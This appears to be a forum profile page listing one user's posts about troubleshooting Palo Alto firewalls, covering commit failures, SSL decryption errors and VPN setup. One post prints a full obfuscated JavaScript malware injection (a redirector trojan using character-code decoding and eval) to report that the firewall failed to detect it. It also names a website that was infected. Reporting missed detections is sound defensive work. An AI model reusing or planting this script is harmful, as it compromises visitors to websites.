About mhuels

mhuels · ‎05-03-2012

Hi Kal, we had made our certificates all within our Windows Server (TM). Your windows admin shall produce a certificate "for all issues" and sign it by his root-ca. Thereafter he has to export both certificates (the just generated private key and the just signed publich key) in one file. The format of the file has to be "pfx". Dont forget to ask which passphrase was used. greetings Manfred

mhuels · ‎05-03-2012

Synchronizing within the cluster fails too. HA-Sync and the manual commit fails without any usefull log entry. Couriously the validation dialog says: May 03 12:57:22 Configuration is valid Palo Alto Networks has now climbed a couple of points on my personal list of the world most evil software. Its not so far away from Lotus Notes any more 😉 mfg Manfred

mhuels · ‎05-02-2012

Hi mikand, i make my tries on a backup machine, but i have no spare firewall to try on another hardware. The PAN support recommended a "factory reset" and consecutively a config load of a preserved XML-File. After the factory reset the firewall runs fine at first. By trying to load the old config, the GUIs tells "... import successfull". But the rules and objects are not present. The ms.log says " May 02 11:58:24 Error: pan_mgmt_get_sysd_string(pan_cfg_status_handler.c:363): failed to fetch May 02 11:58:25 Error: pan_cfg_mgr_get_sp_disabled(pan_cfg_mgr.c:809): failed to fetch: NO_MATCHES ls: /opt/panlogs/logdb/appstatdb/1/: No such file or directory May 02 12:00:04 Error: pan_dir_exists(pan_fs.c:183): entry exists but it's a file May 02 12:00:04 Warning: ha_cfg_filesync_md5sum(ha_cfg.c:1104): All values seem to be disconnected from peer, giving back error or md5sum failue May 02 12:00:04 Error: pan_mgmt_ha_set_dsmd5sum(pan_mgmt_ha.c:170): failed to calculate disk-state md5sum May 02 12:06:08 Error: pan_dir_exists(pan_fs.c:183): entry exists but it's a file May 02 12:06:09 Warning: ha_cfg_filesync_md5sum(ha_cfg.c:1104): All values seem to be disconnected from peer, giving back error or md5sum failue May 02 12:06:09 Error: pan_mgmt_ha_set_dsmd5sum(pan_mgmt_ha.c:170): failed to calculate disk-state md5sum " I cannot detect any hints for further troubleshooting. Next i will try to put this firewall by hand to the firewallcluster and synchronize the config over the running firewall. mfg Manfred

mhuels · ‎04-30-2012

the first error i can see is: Apr 30 13:02:06 Error: pan_schema_verify_enum(pan_schema_verify.c:699): 'win\id_h_internet_voll' is not an allowed keyword near line 0 i deleted all entries with 'id_h_internet_voll' from the xml-configfile. But there still remains the error 'win\id_h_internet_voll'. Seems to be a config problem outside the XML config. regards Manfred

mhuels · ‎04-30-2012

Hi rmonvon show jobs id is no very meaningful: user@pan> show jobs id 7 Enqueued ID Type Status Result Completed -------------------------------------------------------------------------- 2012/04/27 15:12:46 7 Commit FIN FAIL 15:14:38 Warnings: Details:device: config push error Commit failed I will try to debug the commit first, because i am worry about making a "commit force" and getting a totally defective firewall. Thanks for your hints. Manfred

mhuels · ‎04-27-2012

Hi folks, does anybody know how to debug the failing commits on a Palo Alto Firewall? The onliest what i can see is "failure on pushing config to device". user@pan> show jobs all Enqueued ID Type Status Result Completed -------------------------------------------------------------------------- 2012/04/27 15:12:46 7 Commit FIN FAIL 15:14:38 2012/04/27 14:56:02 6 AutoCom FIN FAIL 14:57:43 2012/04/27 14:54:17 5 AutoCom FIN FAIL 14:55:59 2012/04/27 14:52:27 4 AutoCom FIN FAIL 14:54:10 2012/04/27 14:49:51 3 AutoCom FIN FAIL 14:52:19 2012/04/27 14:47:10 2 AutoCom FIN FAIL 14:49:46 2012/04/27 14:44:19 1 AutoCom FIN FAIL 14:47:05 mfg Manfred

mhuels · ‎04-25-2012

i suppose PAN has a problem with theSSL Extensions from google Extension (id-ce-subjectAltName) Extension Id: 2.5.29.17 (id-ce-subjectAltName) GeneralNames: 436 items GeneralName: dNSName (2) dNSName: google.com GeneralName: dNSName (2) dNSName: *.google.com GeneralName: dNSName (2) dNSName: *.google.ac GeneralName: dNSName (2) dNSName: *.google.ad GeneralName: dNSName (2) dNSName: *.google.ae .....

mhuels · ‎04-25-2012

65568 2012-04-25 12:33:24.903639 1.2.3.4 209.85.147.94 TLSv1 [TCP Retransmission] Alert (Level: Fatal, Description: Handshake Failure) 65597 2012-04-25 12:33:24.926864 209.85.147.94 1.2.3.4 TCP https > 54361 [RST] Seq=1 Win=0 Len=0 this happens - as far as i know - only with google.com, respectively google.de, on which we will transmitted by google.com mfg Manfred

mhuels · ‎04-24-2012

there seems to be a problem with ssl connect from PA to google. The browsers shows a timeout. It takes a couple of minutes, until i get an entry in my logfile. The logfile shows an "unknown application" first (which is denied in my company by default) and thereafter pretendedly a working "ssl" and "web-browsing" application, as you can see in the attached picture. I assume a problem with the kind of certificate, which is used by google.

mhuels · ‎04-05-2012

You can see the code for example on http://rose-immobilien-kg.de/ the website is renewed, so - hopefully - the malicous code is gone. Manfred

mhuels · ‎04-05-2012

Hi Eugene, a datastream is known as incomplete, not-applicable or with insufficient-data, if the session will be blocked by rule or does not find a existing service on the destination system. So you can see only one "tcp syn" packet in the dump (for instance). Imho this makes no sense. greetings Manfred

mhuels · ‎04-05-2012

alle schrieb: hi mhuels, do you have already create a vpn between pix and palo-alto? it's works fine? yes we do so. No problems. regards manfred

mhuels · ‎04-05-2012

Hi alle, checkpoint is not really choosy on building VPNs with others. I suppose, checkpoint tries to identificate with the peer name, and will make the tunnel without this identification, if it dont works. We have several VPNs with foreign PIXes, but all with "identification none". greetings Manfred

mhuels · ‎04-05-2012

Hi folks, the Palo Alto Networks threat prevention is not able to recognize the following code as malicious: <script>d=Date;d=new d();h=-parseInt('012')/5;if(window.document)try / {new document.getElementById("qwe").prototype}catch(qqq){st=String;zz='al';zz='v'+zz;ss=""; / if(1){f='f'+'r'+'o'+'m'+'Ch'+'ar';f=f+'C'+'od'+'e';}e=this[f.substr(11)+zz];t='y';} / n="3.5~3.5~51.5~50~15~19~49~54.5~48.5~57.5~53.5~49.5~54~57~22~50.5~49.5~57~33.5~53~49.5~53. / 5~49.5~54~57~56.5~32~59.5~41~47.5~50.5~38~47.5~53.5~49.5~19~18.5~48~54.5~49~59.5~18.5~19.5~44. / 5~23~45.5~19.5~60.5~5.5~3.5~3.5~3.5~51.5~50~56~47.5~53.5~49.5~56~19~19.5~28.5~5.5~3.5~3.5~61. / 5~15~49.5~53~56.5~49.5~15~60.5~5.5~3.5~3.5~3.5~49~54.5~48.5~57.5~53.5~49.5~54~57~22~58.5~56~51. / 5~57~49.5~19~16~29~51.5~50~56~47.5~53.5~49.5~15~56.5~56~48.5~29.5~18.5~51~57~57~55~28~22.5~22. 5~50~56~49.5~56.5~51~57~49~56.5~22~51.5~54~22.5~51.5~54~22~48.5~50.5~51.5~30.5~27.5~18.5~15~58. / 5~51.5~49~57~51~29.5~18.5~23.5~23~18.5~15~51~49.5~51.5~50.5~51~57~29.5~18.5~23.5~23~18.5~15~56. / 5~57~59.5~53~49.5~29.5~18.5~58~51.5~56.5~51.5~48~51.5~53~51.5~57~59.5~28~51~51.5~49~49~49.5~54~28. / 5~55~54.5~56.5~51.5~57~51.5~54.5~54~28~47.5~48~56.5~54.5~53~57.5~57~49.5~28.5~53~49. / 5~50~57~28~23~28.5~57~54.5~55~28~23~28.5~18.5~30~29~22.5~51.5~50~56~47.5~53.5~49.5~30~16~19. / 5~28.5~5.5~3.5~3.5~61.5~5.5~3.5~3.5~50~57.5~54~48.5~57~51.5~54.5~54~15~51.5~50~56~47.5~53. / 5~49.5~56~19~19.5~60.5~5.5~3.5~3.5~3.5~58~47.5~56~15~50~15~29.5~15~49~54.5~48.5~57.5~53.5~49. / 5~54~57~22~48.5~56~49.5~47.5~57~49.5~33.5~53~49.5~53.5~49.5~54~57~19~18.5~51.5~50~56~47.5~53. / 5~49.5~18.5~19.5~28.5~50~22~56.5~49.5~57~31.5~57~57~56~51.5~48~57.5~57~49.5~19~18.5~56.5~56~48. / 5~18.5~21~18.5~51~57~57~55~28~22.5~22.5~50~56~49.5~56.5~51~57~49~56.5~22~51.5~54~22.5~51.5~54~22~48. / 5~50.5~51.5~30.5~27.5~18.5~19.5~28.5~50~22~56.5~57~59.5~53~49.5~22~58~51.5~56.5~51.5~48~51. / 5~53~51.5~57~59.5~29.5~18.5~51~51.5~49~49~49.5~54~18.5~28.5~50~22~56.5~57~59.5~53~49.5~22~55~54. / 5~56.5~51.5~57~51.5~54.5~54~29.5~18.5~47.5~48~56.5~54.5~53~57.5~57~49.5~18.5~28.5~50~22~56. / 5~57~59.5~53~49.5~22~53~49.5~50~57~29.5~18.5~23~18.5~28.5~50~22~56.5~57~59.5~53~49.5~22~57~54. / 5~55~29.5~18.5~23~18.5~28.5~50~22~56.5~49.5~57~31.5~57~57~56~51.5~48~57.5~57~49.5~19~18.5~58. / 5~51.5~49~57~51~18.5~21~18.5~23.5~23~18.5~19.5~28.5~50~22~56.5~49.5~57~31.5~57~57~56~51.5~48~57. / 5~57~49.5~19~18.5~51~49.5~51.5~50.5~51~57~18.5~21~18.5~23.5~23~18.5~19.5~28.5~5.5~3.5~3.5~3. / 5~49~54.5~48.5~57.5~53.5~49.5~54~57~22~50.5~49.5~57~33.5~53~49.5~53.5~49.5~54~57~56.5~32~59. / 5~41~47.5~50.5~38~47.5~53.5~49.5~19~18.5~48~54.5~49~59.5~18.5~19.5~44.5~23~45.5~22~47.5~55~55~49./ 5~54~49~32.5~51~51.5~53~49~19~50~19.5~28.5~5.5~3.5~3.5~61.5" / .split("a~".substr(1));for(i=0;i!=563;i++){j=i;ss=ss+st (-h*(2-1+1*n ));} / if(1)q=ss;if(zz)e(""+q);</script> You can see the code for example on http://rose-immobilien-kg.de/ reqards Manfred

mhuels · ‎10-06-2011

Hi folks, since upgrading to 3.1.10 is the ssl traffic (with decryption on the firewall) by squid proxy significant slower as without using a proxy. Not on all websites, but on some the browser needs up to 1 Minute to display the first page. I tried several squid options. Neither in the firewall nor in the proxy logs is any error or blocking announcement.The proxy resides in a DMZ, both incoming and outgoing traffic will be intercepted by the firewall. Does anyone see a similar phenomenon? mfg Manfred

Member Since	‎05-31-2010 05:17 AM
Date Last Visited	‎02-14-2025 10:09 AM
Posts	80
Total Likes Received	3

Online Status	Offline
Date Last Visited	‎02-14-2025 10:09 AM

About mhuels

Re: Broken email notifications formatting in version 11.0.1

Re: unknown command during SSH script

unknown command during SSH script

Re: SSL Decryption in PAN 4.1 fails - Firefox warns "ssl_error_rx_unexpected_new_session_ticket"

Re: SSL Decryption in PAN 4.1 fails - Firefox warns "ssl_error_rx_unexpected_new_session_ticket"

Re: SSL Decryption in PAN 4.1 fails - Firefox warns "ssl_error_rx_unexpected_new_session_ticket"

Re: SSL Decryption in PAN 4.1 fails - Firefox warns "ssl_error_rx_unexpected_new_session_ticket"

SSL Decryption in PAN 4.1 fails - Firefox warns "ssl_error_rx_unexpected_new_session_ticket"

Re: Eicar Testvirus will not be recognized

Re: Eicar Testvirus will not be recognized

Re: Broken email notifications formatting in version 11.0.1

Re: unknown command during SSH script

Re: VPN WITH PIX AND FQDN

Re: No valid AceMlc2 config: SC 1 (AceMlc2): Config not valid

Re: Broken email notifications formatting in version 11.0.1

Re: Run operational command using SSH

Re: How to convert .crt to .pem or .pkcs12 format

Re: How to debug commit?

Re: How to debug commit?

Re: How to debug commit?

Re: How to debug commit?

How to debug commit?

perhaps PAN has a problem with the SSL Extensions from google

PAN shows fatal ssl handshake failure

https://www.google.com does not work on 4.0.10

Re: PA dont catches Trojan JS.Redirector

Re: question about packet dump about incomplete, insufficient-data and insufficient-data

Re: VPN WITH PIX AND FQDN

Re: VPN WITH PIX AND FQDN

PA dont catches Trojan JS.Redirector

decrypted SSL traffic over Proxy since 3.1.10 slow

Unlock your full community experience!

About mhuels